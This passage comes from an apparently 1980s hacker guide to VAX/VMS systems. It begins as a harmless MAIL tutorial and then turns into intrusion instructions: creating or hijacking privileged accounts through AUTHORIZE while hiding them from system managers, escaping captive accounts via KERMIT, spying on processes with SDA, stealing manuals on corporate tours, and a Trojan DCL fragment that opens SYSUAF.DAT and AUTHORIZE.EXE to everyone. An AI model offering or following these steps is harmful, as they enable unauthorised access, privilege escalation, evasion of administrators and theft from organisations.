  1639.          1 FORBES           1-SEP-1989            How to Write a Memo
  1640.          2 (Deleted)
  1641.          3 FROST::BASTIEN   4-SEP-1989            Chicken Kiev
  1642.  
  1643.  
  1644. When you exit from MAIL, the messages marked for deletion disappear.
  1645.  
  1646. The Mail Utility allows you to organize your messages by moving them into
  1647. folders.  To move a message to a folder, enter the MOVE command (while you are
  1648. reading the message) and press RETURN.  MAIL prompts you for a folder name.
  1649. Type any name, for example, REVIEWS or JOKES or STATUS_REPORTS.  MAIL also
  1650. prompts you for a file name.  You can specify the default mail file by pressing
  1651. RETURN.  A sample session demonstrating the MOVE command follows:
  1652.  
  1653. MAIL> 2
  1654. MAIL> MOVE
  1655. _Folder: HACKERS
  1656. _File: <RET>
  1657.  
  1658. Folder HACKERS does not exist.
  1659. Do you want to create it (Y/N, default is N)? Y
  1660. %MAIL-I-NEWFOLDER, folder HACKERS created
  1661.  
  1662. In this example, the folder name is HACKERS and the default mail file is
  1663. specified.  If the folder you name does not exist, MAIL asks you if you want to
  1664. create it.
  1665.  
  1666. Once you have created folders, you may want to move between them. To move from
  1667. one folder to another, use the SELECT command.  If you want to move to the
  1668. HACKERS folder, enter the SELECT command as follows:
  1669.  
  1670. MAIL> SELECT HACKERS
  1671.  
  1672. %MAIL-I-SELECTED, 1 message selected
  1673.  
  1674. In this example, MAIL displays a message indicating the number of messages in
  1675. the folder.
  1676.  
  1677. To move to a folder named JOKES, enter the following command line:
  1678.  
  1679. MAIL> SELECT JOKES
  1680.  
  1681. %MAIL-I-SELECTED, 32 messages selected
  1682.  
  1683.  
  1684. You can enter the DIRECTORY command to see a list of the messages in the folder
  1685. you just selected.
  1686.  
  1687. When you want to move a mail message from your mail file to a sequential file
  1688. that you can access from the DCL command level, use the EXTRACT command.
  1689. Enter the EXTRACT command (while you are reading the message) and press RETURN.
  1690. MAIL prompts you for the name of a file.  Then, when you exit from MAIL, the
  1691. file is listed in your directory.  The following example shows how to use the
  1692. EXTRACT command to move a mail message to a file named GAMES.DAT.
  1693.  
  1694. MAIL> EXTRACT
  1695. _File: GAMES.DAT
  1696.  
  1697. %MAIL-I-CREATED, DISK:[BERGMAN]GAMES.DAT;1 created
  1698.  
  1699. MAIL>
  1700.  
  1701. To print a hard copy of a mail message, enter the PRINT command while you are
  1702. reading the message and press RETURN.  (When you exit from MAIL, the message
  1703. enters the print queue.) The following example shows how to make a hard copy of
  1704. message #4 by using the PRINT command:
  1705.  
  1706. MAIL> 4
  1707.  
  1708.     #4          4-AUG-1989 09:39:20           MAIL
  1709. From:  SPARTA::FELLINI
  1710. To:    MARSTON
  1711. Subj:  Rydell's Reasons
  1712.  
  1713. In reference to the meeting of July 26, I would like to explain
  1714. Rydell's opinion more fully...
  1715.  
  1716. MAIL> PRINT
  1717.  
  1718. When you are ready to leave MAIL, enter the EXIT command and press RETURN.
  1719. Any messages marked for deletion disappear.  Any messages marked for printing
  1720. enter the print queue and the following message is displayed:
  1721.  
  1722. MAIL> EXIT
  1723. Job MAIL (queue ATLAS_PRINT, entry 43) started on QUEUE$LPA0
  1724.  
  1725.  
  1726. The next section is a detailed look at what is possibly the  most important of
  1727. the MAIL commands -- SEND
  1728.  
  1729. Format:   SEND  [filespec]
  1730.  
  1731. Sends a message to another user(s).  Use the SEND command and the MAIL command
  1732. interchangeably because they work the same way. MAIL prompts you first for the
  1733. name of the user(s) to receive the message.  You reply with the user name(s)
  1734. or with the file name of a distribution list file(s), in the following format:
  1735.  
  1736. [[nodename::]username,...] [,] [@listname[,...]]
  1737.  
  1738. If you have entered the SET CC_PROMPT command or used the /CC_PROMPT qualifier,
  1739. you can then specify names of users to receive carbon copies of the message at
  1740. the CC: prompt.
  1741.  
  1742. Next, MAIL prompts you for the subject of the mail.  To avoid the "Subj:"
  1743. prompt specify the /SUBJECT qualifier with the SEND command.
  1744.  
  1745. You can include a file specification with the SEND command.  If you specify a
  1746. file with the SEND command, the text in that file is sent to the specified
  1747. user(s).  If you do not specify a file, MAIL prompts you for the text of your
  1748. message.
  1749.  
  1750. Enter the message that you want to send; then press <CTRL-Z>.  Note that once
  1751. you have typed a line and pressed RETURN, there is no way to edit it. If you
  1752. decide not to send a message you are typing but want to stay within the Mail
  1753. Utility, press <CTRL-C> to abort the message.  You then receive the MAIL>
  1754. prompt.  CTRL-Z exits you from MAIL.
  1755.  
  1756.  
  1757. Examples
  1758. --------
  1759.  
  1760. 1.
  1761.    MAIL> SEND/LAST
  1762.    To:FLIGHT::MYERS
  1763.    Subj:Geometric Concepts
  1764.    MAIL>
  1765.  
  1766.  
  1767. This example shows how to send a copy of the last mail message you sent to a
  1768. user named Myers on node FLIGHT.
  1769.  
  1770. 2.
  1771.    MAIL> SEND/SELF/SUBJECT="Good Harbor"
  1772.    To:DAPPER::WAYNE
  1773.    Enter your message below.  Press CTRL-Z when complete, or CTRL-C to quit:
  1774.  
  1775.  
  1776. This example shows how to send a mail message to a user named WAYNE on node
  1777. DAPPER.  The /SELF qualifier enables MAIL to send a copy of the same message
  1778. back to you.  The subject of the  message  is  Good Harbor. Since the /SUBJECT
  1779. qualifier was specified, there is no Subject: heading.
  1780.  
  1781. 3.
  1782.    MAIL> SEND
  1783.    To:BAKER,MARSTON,@SUPERVISORS
  1784.    Subject:Handling Stress
  1785.    Enter your message below.  Press CTRL-Z when complete, or CTRL-C to quit:
  1786.  
  1787.  
  1788. This example shows how to send a mail message to two users (BAKER and MARSTON)
  1789. and a distribution list (SUPERVISORS).
  1790.  
  1791. One of the important concepts relating to MAIL is the idea of FOLDERS.  All
  1792. mail files are subdivided into folders.  By default, your mail file (MAIL.MAI)
  1793. contains a folder called MAIL.  The MAIL folder contains messages that you have
  1794. already read.  When you receive new mail messages, they automatically enter
  1795. into a folder named NEWMAIL.  After you read the messages in the NEWMAIL
  1796. folder, they automatically move into the MAIL folder and the NEWMAIL folder
  1797. disappears.  When you delete a message it automatically moves into the
  1798. WASTEBASKET folder.  Deleted messages collect in the WASTEBASKET folder until
  1799. you empty it.  To emtpy the WASTEBASKET, enter either: EXIT or PURGE You can
  1800. create as many folders as you want.  You always know which folder you are
  1801. currently in because the name of the folder is displayed at the top right
  1802. corner of the screen when you enter the READ or DIRECTORY command.  You can
  1803. enter the DIRECTORY/FOLDER command to see a display of the existing folders in
  1804. the current mail file.  (use the MOVE command for creating new folders) You can
  1805. remove a folder by deleting all the messages that it contains.
  1806.  
  1807. A look at a sample MAIL heirarchy:
  1808.  
  1809.  
  1810.        [mailfile1]        [mailfile2]                 [mailfile3]
  1811.             !                  !                           !
  1812.             !            +-----+---------+            +----+---------+
  1813.         [folder1]    [folder1]        [folder2]       !              !
  1814.             !            !               !        [wastebasket]  [folder1]
  1815.             !          +-+-----+       message1       !              !
  1816.          message       !       !                   garbage1       message1
  1817.                    message1  message2
  1818.  
  1819.  
  1820.                           MAILFILE ---> FOLDERS ---> MESSAGES
  1821.  
  1822.  
  1823.  
  1824. MAIL COMMANDS OVERVIEW
  1825. ----------------------
  1826.  
  1827. Here I have provided a listing of all the commands that you can issue from the
  1828. mail utility and a brief description of what each one does:
  1829.  
  1830.  
  1831. Command            Description
  1832. -----------+-------------------------------------------------------------------
  1833. ANSWER     ! Same as the REPLY command.  See below
  1834. ATTACH     ! Allows you to switch to another process in your job
  1835. BACK       ! Displays the last message read
  1836. COMPRESS   ! Makes an indexed sequential mail file smaller
  1837. COPY       ! Copy a message to another folder, without deleting original
  1838. CURRENT    ! Displays the beginning of the message you are currently reading
  1839. DEFINE     ! Allows you to define keys as macros
  1840. DELETE     ! Delete a message
  1841. DIRECTORY  ! Displays a list of the messages in the current folder
  1842. EDIT       ! Enables you to edit a message before it is sent
  1843. ERASE      ! Clears the screen
  1844. EXIT       ! Exits from the MAIL utility
  1845. EXTRACT    ! Places a copy of the current message into a sequential file
  1846. FILE       ! Moves the current message to the specified folder
  1847. FIRST      ! Displays the first message in the current folder
  1848. FORWARD    ! Sends a copy of the message you just read to another user
  1849. KEYPAD     ! Define the keypad
  1850. LAST       ! Displays the last message in the current folder
  1851. MAIL       ! Sends messages to another user.  Identical to the SEND command
  1852. MOVE       ! Moves the current message to the specified folder
  1853. NEXT       ! Skips to the next message and displays it
  1854. PRINT      ! Dumps messages to the PRINTER
  1855. PURGE      ! Deletes all messages in the WASTEBASKET folder
  1856. QUIT       ! Quits MAIL without deleting messages in WASTEBASKET
  1857. READ       ! Displays your messages
  1858. REPLY      ! Sends a message to the sender of the message you are reading
  1859. SEARCH     ! Searches the current folder for the message containing a string
  1860. SELECT     ! Allows you to switch to another folder
  1861. SEND       ! Send a message to another user
  1862. SET-SHOW   ! Review or Modify various characteristics of the MAIL utility
  1863. SPAWN      ! Create a sub-process.  Often useful to the hacker...
  1864. -----------+-------------------------------------------------------------------
  1865.  
  1866.  
  1867. COMPILING PROGRAMS
  1868. ------------------
  1869.  
  1870. Once you are comfortable with the VAX/VMS operating system, you will probably
  1871. want to write yourself some useful little hacker utility programs.  Although
  1872. many can be simply written as DCL script files, often the occasion arises where
  1873. the use of a high-level language is necessitated.  Through a high-level
  1874. language you have full access to the system services, as well as a lot more
  1875. control of what you want the VAX to do.  Here I will very briefly show how to
  1876. write, compile and execute a basic program.  Creating executable files in other
  1877. languages follows the same overall procedures: To activate basic from the shell
  1878. type:
  1879.  
  1880. $basic
  1881.  
  1882. This should put you into the VAX-BASIC environment, and the terminal will print
  1883. READY on your screen.  If just typing BASIC doesn't work, you may want to try:
  1884.  
  1885. $mc basic
  1886.  
  1887. This sometimes works, but it should be noted that BASIC is not found on all
  1888. VAX's.  Some have it, some don't.  In any case, whenever you are editing a
  1889. program, you should never leave source code lying around.  The best way is to
  1890. edit the file on an online buffer editor, and then transmit the file.  It
  1891. should always be done in this manner unless your file is VERY large, and it
  1892. would be cumbersome to keep uploading it.  If you must, then to save your
  1893. creation onto the VAX, just type:
  1894.  
  1895. save "filename"
  1896.  
  1897. This will save the source code with a .BAS extension.  You should rename this &
  1898. hide it in some seldom checked directory.  After you have finalized your coding
  1899. you should create an executable file, download your source code, and then
  1900. delete the one online.  To create an executable file, first you must exit back
  1901. to DCL, do this by typing EXIT.  Then once in DCL type:
  1902.  
  1903. $compile filename.bas
  1904. $link filename
  1905. $delete filename.obj;*
  1906.  
  1907. Note that you can link multiple OBJ files together, just like in MS-DOS.  It
  1908. should also be noted that to create truly useful programs you will need to get
  1909. your hands on a system services manual.  Through the system services you can
  1910. gain all kinds of information about the system and any nodes that it is hooked
  1911. up to.
  1912.  
  1913. NOTE: type HELP in BASIC to get a complete list of all the commands and syntax
  1914.  
  1915.  
  1916. ATTAINING MANUALS
  1917. -----------------
  1918.  
  1919.     As you can see, if you are going to get anywhere, you will have to get your
  1920. hands on some manuals.  Perhaps the best book you should invest in is "VAX/VMS
  1921. INTERNALS AND DATA STRUCTURES".  This book concentrates on explaining all the
  1922. data structures as well as all the system service calls and how everything
  1923. basically works inside a VAX.  Once you have read and understood this book,
  1924. VAX/VMS kernal programming should become a snap.  Its available at most big
  1925. bookstores but it costs about $130 (Canadian funds).  You may also want to look
  1926. at your local library or University library, since they usually carry this book
  1927. and other ones you may want to grab. Aside from these places the next best
  1928. place to get major information is from the actual VAX/VMS manuals.
  1929.  
  1930. Unfortunately these cannot be bought at any store.  However there are several
  1931. ways you can get your hands on one.  One method is to go work at a company
  1932. during the summer that uses VAX'es.  Then just grab the manuals or better yet,
  1933. photocopy them.  (be forewarned though.  Theres several thousand pages worth of
  1934. useful info!) Or if you know someone else who works at such an establishment,
  1935. you can get them to heist the manuals for you.  Other good techniques are
  1936. taking guided tours of offices of large corporations.  This is the BEST method,
  1937. because you can usually pick up a lot of stuff.  Just make sure you go with a
  1938. friend (to distract the guide, lookout etc) and carry a school bag with you.
  1939. When they get to the computer room, start looking around.  Usually they will
  1940. have the manuals in some big shelf somewhere.  Just grab yourself whatever you
  1941. need.  Also keep a lookout for other useful info laying around such as system
  1942. accounts, dialups etc If you really need to find the number of a VAX and you
  1943. don't see it posted anywhere, then you should get yourself a cheap little
  1944. phone.  (you know those K-MART $4.99 jobs) Take the phone plug out of the jack,
  1945. plug in your phone and dial up your local ANI.  This will give you the phone
  1946. number to the dialup.  It should be noted that not all VAX's allow remote
  1947. logins.  This can be adjusted from the SYSUAF setup via the AUTHORIZE program.
  1948.  
  1949. Local ANI's for TORONTO are:
  1950.  
  1951. 997-8123
  1952. 997-1234
  1953. 997-1699
  1954.  
  1955. If you don't have any Local ANI's, then just ask around on your local
  1956. PHREAK/HACK boards.
  1957.  
  1958.  
  1959.  
  1960. CREATING/MODIFYING ACCOUNTS
  1961. ---------------------------
  1962.  
  1963. The job of creating, modifying and deleting users is performed via the image
  1964. AUTHORIZE.  This program is always found in the sys$system directory, and
  1965. requires at least the SYSPRV privilege.  If you do not have this (or SETPRV)
  1966. then you cannot execute this file.  Assuming you have hacked out an account
  1967. with the required privilege or you have via some mechanism boosted your privs,
  1968. then this is how to start up AUTHORIZE:
  1969.  
  1970. $sd sys$system
  1971. $run authorize
  1972.  
  1973.  
  1974. This will return you with the UAF prompt:
  1975.  
  1976. UAF>
  1977.  
  1978. At this point you can make modifications to the User Authorization File (UAF).
  1979. It should be noted that the two files that this program accesses are SYSUAF.DAT
  1980. and RIGHTSLIST.DAT, and both of these are found in the SYS$SYSTEM directory.
  1981. First, heres the quick and dirty way to create a new user:
  1982.  
  1983. UAF> add username /password=whatever/priv=setprv
  1984.  
  1985. This is basically the minimum requirements for creating a high-privileged user
  1986. on a system.  Of course, you should try and avoid adding new users in where
  1987. possible.  It is a much better idea to try and find an INACTIVE user who hasn't
  1988. logged in for quite a while and change their password to whatever you want.
  1989. This way, any system operator will not get suspicious because of a new
  1990. username.  In addition, when granting privileges to either your own user, or
  1991. modifying some other user, you should NEVER give them ALL privs.  The reason is
  1992. simple: IT STANDS OUT!  Anybody going through the sysuaf database can
  1993. immediately pick out such accounts, and you will be found out very quickly.  If
  1994. you must give all privs then the better way is to simply grant the SETPRV
  1995. privilege as the normal privilege.  (do not assign it as a default however) The
  1996. reason for this is that this will not stand out as much.  By not assigning it
  1997. as a default, if the real user happens to log in for any reason, they will not
  1998. see it as one of their privs when performing a SHOW PROC/PRIV.  The only way to
  1999. activate your hidden privileges is by issuing:
  2000.  
  2001. $set proc/priv=all
  2002.  
  2003.  
  2004. Here I will briefly outline the commands you can perform from UAF:
  2005.  
  2006. Command  Description
  2007. -------------------------------------------------------------------------------
  2008. ADD    !This as you know will add a new user. You may specify many qualifiers
  2009.        !when creating the account.  See the online HELP for further information.
  2010. COPY   !Allows you to copy any record in the UAF to a new user.
  2011. CREATE !Allows you to create either the RIGHTSLIST.DAT or NETUAF.DAT files if
  2012.        !they don't already exist.
  2013. DEFAULT!Allows you to change any item in the DEFAULT record in SYSUAF.DAT
  2014. EXIT   !Terminate authorize and go back to the VMS shell.
  2015. GRANT  !Grants an identifier name to a user UIC
  2016. LIST !Makes a listing file (SYSUAF.LIS) which gives information on the records
  2017. !specified.  MODIFY !Allows you to modify an existing user.  see below for
  2018. further discussion REMOVE !This allows you to delete an existing user record
  2019. RENAME !This allows you to change the username of a record REVOKE !Revokes an
  2020. identifier name from a username or UIC identifier SHOW !Allows you to view the
  2021. records in SYSUAF.DAT, RIGHTSLIST.DAT and !NETUAF.DAT
  2022. -------------------------------------------------------------------------------
  2023.  
  2024. The commands you will be using most from here are SHOW and MODIFY.  Show can be
  2025. used to isolate INACTIVE accounts (based on last login), failed login attempts
  2026. etc.  The MODIFY command will let you change any characteristic in any of the
  2027. records.  Below I will give a short discussion on some of the more important
  2028. qualifiers that can be specified.  Note that exactly the same thing applies to
  2029. the ADD command:
  2030.  
  2031. /ACCESS  -if the account is set up for no remote access or whatever, just
  2032.           include this qualifier (no parameters) to gain FULL access.
  2033. /DEFPRIV -your default privileges.  These are the privileges that are active
  2034.           upon login
  2035. /DIR     -the directory assigned to you upon login.  ie.  SYS$LOGIN
  2036. /DEVICE  -the drive that the directory is in.
  2037. /FLAGS   -this is an important one!  You can specify things such as CAPTIVE
  2038.           accounts, NODISUSER, and many others.
  2039. /LGICMD  -the file that is executed upon login.  Normal setting would be
  2040.           /LGICMD=login.com
  2041. /PASSWORD-primary password
  2042. /PRIORITY-CPU priority. Normal setting is 4
  2043. /PRIV    -your assigned privileges. Should NOT use ALL, very conspicuous.
  2044. /PWDMIN  -minimum password length
  2045. /UIC     -User Identification Code
  2046.  
  2047.  
  2048. On most systems you will find a file called ADDUSER.COM which allows the system
  2049. manager to create new users.  It is a DCL file which simplifies the task of
  2050. creating new users by prompting you for all the necessary parameters.  If this
  2051. file does not exist on the system, here I have outlined the manual method of
  2052. creating a new user (this is the FULL setup):
  2053.  
  2054. $sd sys$system
  2055. $run diskquota
  2056.  
  2057. NOTE: All variables that you must enter are in square brackets, eg. [uic]
  2058.  
  2059. QUOTA>add [uic] /perm=[quota]/overdraft=[overdraft]
  2060.  
  2061. Basically this sets up how much disk space is allotted to the user.  The quota
  2062. usually ranges from 1000 blocks to 100000 blocks.  The overdraft is usually 10%
  2063. of the quota.  A good setting to keep this at is around 20000 for the quota.
  2064.  
  2065. $create/dir/owner=[uic]/prot=(s,o=rwed,g,w) [directory]/log
  2066.  
  2067. This will add in your directory and set its protections.
  2068.  
  2069. $run authorize
  2070.  
  2071. UAF> add [username]/own=[fullname]/acco=[account]/dev=[device]/dir=[directory]-
  2072.      /uic=[uic],[privs]/passw=[password]
  2073.  
  2074. The items here are:
  2075. username  -the name you will use on the system, eg. SMITHJ
  2076. fullname  -your actual name, eg John Smith. (of course you don't use your REAL
  2077.            name!!)
  2078. account   -your account name, usually used for billing purposes
  2079. device    -the drive that contains your directory
  2080. directory -your login directory. Best to keep an existing one
  2081. uic       -your UIC remember format: [group,member]
  2082. password  -your account password. You can enter whatever you want here
  2083. privs     -your account privileges. Normal is TMPMBX and NETMBX.  If you must
  2084.            then specify SETPRV to give you full access to the system
  2085.  
  2086. That ties up this section.  For further information about a specific qualifier
  2087. just type HELP from the UAF> prompt.
  2088.  
  2089. KERMIT
  2090. ------
  2091.  
  2092. Kermit is a file transfer program found on most VAX systems.  It allows the
  2093. transfer of files over terminal lines from a remote KERMIT program to the local
  2094. KERMIT program.  Invoking Kermit can be done in several ways depending on the
  2095. system.  Usually the file is located in the SYS$SYSTEM directory.  The usual
  2096. method to start kermit is:
  2097.  
  2098. $kermit
  2099.  
  2100. NOTE: some machines it may be KERMIT-32 or some other variation.
  2101.  
  2102. This may vary on different machines, you may have to RUN the file, or it may
  2103. have to be passed parameters such as KERMIT 1200 or KERMIT 2400.  In any case
  2104. once you have initiated the program, you should get a kermit prompt:
  2105.  
  2106. KERMIT>
  2107.  
  2108. Here you can issue several different commands. Following is a list with brief
  2109. explanations:
  2110.  
  2111.  
  2112. COMMAND     DESCRIPTION
  2113. -------------------------------------------------------------------------------
  2114. connect   !connects you to a virtual terminal, issue AT commands from here.
  2115. exit      !return to DCL
  2116. quit      !return to DCL. Same as above
  2117. receive   !Single file download from another machine
  2118. get       !identical to receive
  2119. bye       !terminates a transaction with another kermit in server mode
  2120. finish    !same as above but doesn't exit to DCL
  2121. send      !Send a file to another machine
  2122. server    !causes kermit to enter server mode
  2123. set       !set parameters such as parity, delay etc
  2124. show      !show the parameters set up currently
  2125. status    !current status such as number of bytes transmitted etc
  2126. [spawn]   !spawn a subprocess
  2127. [local]   !enter VMS commands
  2128. -------------------------------------------------------------------------------
  2129.  
  2130. The last two commands (in brackets) are not always found on every system, but
  2131. briefly they allow you to spawn a subprocess (often useful when you are tied up
  2132. in a non-breakable account) and local which can again be used to spawn or issue
  2133. other DCL commands.  There are often other commands, varying on what version of
  2134. KERMIT is being run.  One important note is that SPAWN cannot be issued from a
  2135. CAPTIVE account, but LOCAL (or an equivalent) can.  However, if the system
  2136. manager is smart he may set up the UAF record to specify that only one process
  2137. can be active with that account at any one time.  If this is the case it will
  2138. give you a message telling you that you have exceeded the quota allocated.  The
  2139. only way around it is to actually modify the record in SYSUAF.DAT Obviously the
  2140. important commands are SEND,RECEIVE and CONNECT.  Once you issue CONNECT, you
  2141. can dial out long distance or whatever, just by using regular AT commands.
  2142. SEND and RECEIVE are self explanatory so I wont go into them.
  2143.  
  2144.  
  2145. DECSERVERS
  2146. ----------
  2147.  
  2148. This deserves a little bit of attention also.  Basically DECservers allow the
  2149. the user to easily switch between various nodes in a cluster.  Unless you are
  2150. logging in directly to a terminal, you will usually not encounter this.  If you
  2151. do, heres what you will see:
  2152.  
  2153. Enter Username>
  2154.  
  2155. Or something of the like.  At this point you should just type A or C or
  2156. whatever else.  It is just a terminal identifier and means absolutely nothing.
  2157. At this point you will get a prompt such as:
  2158.  
  2159. LOCAL>
  2160.  
  2161. Here you can do a limited number of commands.  The important ones are:
  2162.  
  2163. LOCAL> show users
  2164.  
  2165. This will show the users on the DECserver, and what machines they are connected
  2166. to etc.  To view all the machines on the server, type:
  2167.  
  2168. LOCAL> show nodes
  2169.  
  2170. This will present a list of the callable nodes.  To connect to any one of these
  2171. you would issue a command such as:
  2172.  
  2173. LOCAL> connect SBSU
  2174.  
  2175. This is assuming the nodename was SBSU.  That's basically all there is to the
  2176. DECservers.  The other commands are really not that useful to the beginning VAX
  2177. hacker but can nonetheless be referenced by typing HELP at the LOCAL prompt.
  2178.  
  2179.  
  2180. SYSTEM DUMP ANALYZER
  2181. --------------------
  2182.  
  2183.   Although the SDA is not really for beginners, it is such an important topic
  2184. that I thought I would give a really brief overview of what it is all about.
  2185. Basically to call up SDA, type:
  2186.  
  2187. $analyze/system
  2188.  
  2189. This will return you with the prompt:
  2190.  
  2191. SDA>
  2192.  
  2193. At this point you can do many great things.  Oh, before I continue, it should
  2194. be noted that you need CMKRNL privilege in order to run this program.  In any
  2195. case, once you get the SDA prompt, there are several interesting things you can
  2196. do.  Basically, SDA is a watching tool.  It lets you keep track of what other
  2197. processes on the system are doing.  To get information on another process just
  2198. type:
  2199.  
  2200. SDA> show process [username]
  2201.  
  2202. you should put in a person who is logged in where I have put the [username]
  2203. variable.  This will give you a page of useful information on that specific
  2204. process.  The interesting thing is that with the SDA, you can access any part
  2205. of memory, unlike EXAMINE from DCL.  You can for example get the PCB address
  2206. for a process and then go in and either view or modify things such as privs,
  2207. priority etc.  You can also view other processes type-ahead buffers, and see
  2208. what they are doing.  Like I stated earlier, this is a relatively advanced
  2209. topic and doesn't fit well into a beginners file, so I will leave it at this,
  2210. but here I will provide a diagram of the PCB block so that you can see which
  2211. bytes do what:
  2212.  
  2213.  
  2214.                         - SOFTWARE PCB DETAILED LAYOUT -
  2215.  
  2216.                     BLOCK 1                           BLOCK 2
  2217.  
  2218.               +---------------+                +---------------+
  2219. :pcb$l_sqfl   !               !                !               !:pcb$t_terminal
  2220.               +---------------+                !               !
  2221. :pcb$l_sqbl   !               !                +---------------+
  2222.               +---+---+-------+                !               ! :pcb$l_pqb
  2223. :pcb$b_type   !   !   !       ! :pcb$w_size    +---------------+
  2224.  pcb$b_pri    +---+---+---+---+                !               ! :pcb$l_efcs
  2225. :pcb$w_mtxcnt !       !   !   ! :pcb$b_astact  +---------------+
  2226.               +-------+---+---+  pcb$b_asten   !               ! :pcb$l_efc2p
  2227. :pcb$l_astqfl !               !                +---------------+
  2228.               +---------------+                !               ! :pcb$l_efc3p
  2229. :pcb$l_astqbl !               !                +---------------+
  2230.               +---------------+                !               ! :pcb$l_pid
  2231. :pcb$l_phypcb !               !                +---------------+
  2232.               +---------------+                !               ! :pcb$l_phd
  2233. :pcb$l_owner  !               !                +---------------+
  2234.               +---------------+                !               ! :pcb$t_lname
  2235. :pcb$l_wsswp  !               !                !               !
  2236.               +---------------+                !               !
  2237. :pcb$l_sts    !               !                +---------------+
  2238.               +---------------+                !               ! :pcb$l_jib
  2239. :pcb$lwtime   !               !                +---------------+
  2240.               +---+---+-------+                !               ! :pcb$q_priv
  2241. :pcb$b_wefc   !   !   !       ! :pcb$w_state   !               !
  2242.  pcb$b_prib   +---+---+-------+                +---------------+
  2243. :pcb$w_tmbu   !       !       ! :pcb$w_aptcnt  !               ! :pcb$l_arb
  2244.               +-------+-------+                +---------------+
  2245. :pcb$w_ppgcnt !       !       ! :pcb$w_gpgcnt  !               ! :pcb$l_uic
  2246.               +-------+-------+                +---------------+
  2247. :pcb$w_biocnt !       !       ! :pcb$w_astcnt  !               ! :pcb$l_lockqfl
  2248.               +-------+-------+                +---------------+
  2249. :pcb$w_diocnt !       !       ! :pcb$w_biolm   !               ! :pcb$l_lockqbl
  2250.               +-------+-------+                +---------------+
  2251. :pcb$w_prccnt !       !       ! :pcb$w_diolm   !               ! :pcb$l_dlckpri
  2252.               +-------+-------+                +---------------+
  2253.  
  2254. NOTE: BLOCK 2 is just a continuation of BLOCK 1.  The PCB is the Process
  2255.       Control Block which is assigned to each process. It holds all the
  2256.       relevant information for the particular process.  The address for
  2257.       the PCB is shown when you execute the SHOW PROCESS <user> from SDA
  2258.  
  2259. Note that when you are examining memory you can specify addresses in two ways:
  2260.  
  2261.       1) locationA:locationB   -from locationA to locationB
  2262.       2) locationA;numbytes    -from locationA to locationA+numbytes
  2263.  
  2264. FURTHER HELP
  2265. ------------
  2266.  
  2267. Like I have stressed throughout this file, the best way to learn about VMS is
  2268. to use the ONLINE HELP that is available on virtually every VAX.  You may have
  2269. also noticed that certain programs such as MAIL have self-contained help which
  2270. is not seemingly accessible from the normal HELP.  So how do you get that
  2271. information?!  Well, all the extra help files for programs such as MAIL, SDA,
  2272. AUTHORIZE, etc are all stored in the SYS$HELP directory.  The only problem is
  2273. that they are not in very human readable form.  To get a properly formatted
  2274. text output you can use the LIBRARY command.  Here is an example that dumps all
  2275. the help file on SDA into a file called SDA.HLP in your directory:
  2276.  
  2277. $library/extract=(*)/output=sys$login:sda sys$help:sda.hlb
  2278.  
  2279. Now to explain this line.  The library program will extract the SDA help file
  2280. (sys$help:sda.hlb) and put it into your login directory (sys$login:sda.hlp).
  2281. Where I have put the (*), you can alternatively put any number of commands that
  2282. you may want referenced.  The (*) will dump ALL the commands into the help file
  2283. For example to ONLY get the SHOW command and its qualifiers (for SDA) into a
  2284. file, you may try something like:
  2285.  
  2286. $library/extract=(show)/output=sys$login:sda_show  sys$help:sda.hlb
  2287.  
  2288. Since the files generated from this command is standard ASCII, you can read
  2289. these help files with the TYPE command, ie.
  2290.  
  2291. $type sys$login:sda.hlp
  2292.  
  2293. The same method can be utilized for any of the other commands to which you
  2294. normally do not have access, eg. AUTHORIZE, SDA etc.  This way you can learn
  2295. and understand the command without necessarily having the privilege of reading
  2296. it in the first place.  Of course I recommend that you read both the AUTHORIZE
  2297. and SDA files since they are probably the most useful files in the bunch.  To
  2298. get a list of the other help files, just do:
  2299.  
  2300. $dir sys$help:*.hlb
  2301.  
  2302. Then you can specify any of the listed files in the LIBRARY command. If you
  2303. create these files, just make sure you delete them, once you are through with
  2304. using them, especially if they are in someone elses ACTIVE account.
  2305.  
  2306.  
  2307.  
  2308. TROJAN HORSES
  2309. -------------
  2310.  
  2311. Lets suppose you have done all you can in trying to gain privileges, and you
  2312. have neither come up with a high level account, or any mechanism of boosting
  2313. your privs. Now what? Well the following methods I will describe should be able
  2314. to net you more privileges but there is one small problem.  These methods
  2315. usually involve modifying or creating new files in certain places.  If the
  2316. system manager were to notice such a file, he could simply perform a DIR/OWNER
  2317. and would know which account someone was hacking on, and he would no doubt
  2318. change the password or kill the account.  Now this is an IF situation. Although
  2319. theres a good chance you will get away with it, you still have that risk factor
  2320. that says that you may very well lose this particular VAX.  So if this is the
  2321. only VAX that you have access to, and you are still in the learning process,
  2322. don't try these techniques.  Once you have learned the operating system well
  2323. enough and feel that you can afford to lose the VAX if worst comes to worse
  2324. then you can proceed with these time honoured techniques:
  2325.  
  2326. Ok so what is a trojan horse?  Based on the original definitions for such
  2327. programs, a trojan is simply a file that you have someone execute which
  2328. performs some arbitrary task unbeknownst to the user.  Of course there are the
  2329. typical trojan programs that go through the logon sequence and try and procure
  2330. user/password combinations. This is fine, but what about other methods?  Its
  2331. fine for getting more accounts, some which may be possibly privileged, but you
  2332. still aren't guaranteed to get a good account.  So what do you do?!  Well, as
  2333. everyone should know by now, the easiest way to get more privileges is to give
  2334. them to your user via the AUTHORIZE program.  The problem is that on all VAXes,
  2335. the SYSUAF.DAT file is read/write protected and on some even the AUTHORIZE file
  2336. itself is protected.  The key is to unlock these files, so that they can be
  2337. accessed through the WORLD protection field.  The easiest way to do this is to
  2338. have a privileged user unwittingly do the dirty deed for you.  Here I will
  2339. describe a few methods of accomplishing such a task.
  2340.  
  2341.  The key here is to find a COM file that the users often use.  This could be
  2342. anything from some simple utility to a full featured DCL program such as
  2343. ADDUSER.COM.  What I usually do is search through the system symbols (SHOW
  2344. SYMBOL *) and logical table (SHOW LOGICAL) for definitions that are executed
  2345. via COM files.  Often you will find in the symbol table some weird utility
  2346. like NOTES that everybody executes. Lets assume you have found a prospective
  2347. program.  The next thing to check is to see if you write access to the
  2348. direcotry in which this file resides.  If you have READ access also, then you
  2349. can simply put in your TROJAN coding right within the main program (after
  2350. saving the original copy somewhere safe).  If you don't have read access, then
  2351. you can create a program with the same filename.  Since your program will have
  2352. a higher version number, it will get executed instead of the original program.
  2353. Then you perform your deed and delete the TROJAN and continue on and execute
  2354. the real COM file.  Here is an example, which is a fragment of a DCL routine
  2355. but can easily be changed to fit inside another routine.
  2356.  
  2357.  
  2358. $ pre_prvs=f$setprv("setprv")
  2359. $ if f$privilege("setprv") then goto fix
  2360. $ @notes.com;55
  2361. $ fix:
  2362. $ set prot sys$system:sysuaf.dat/prot=(w:rwed)
  2363. $ set prot sys$system:authorize.exe/prot=(w:rwed)
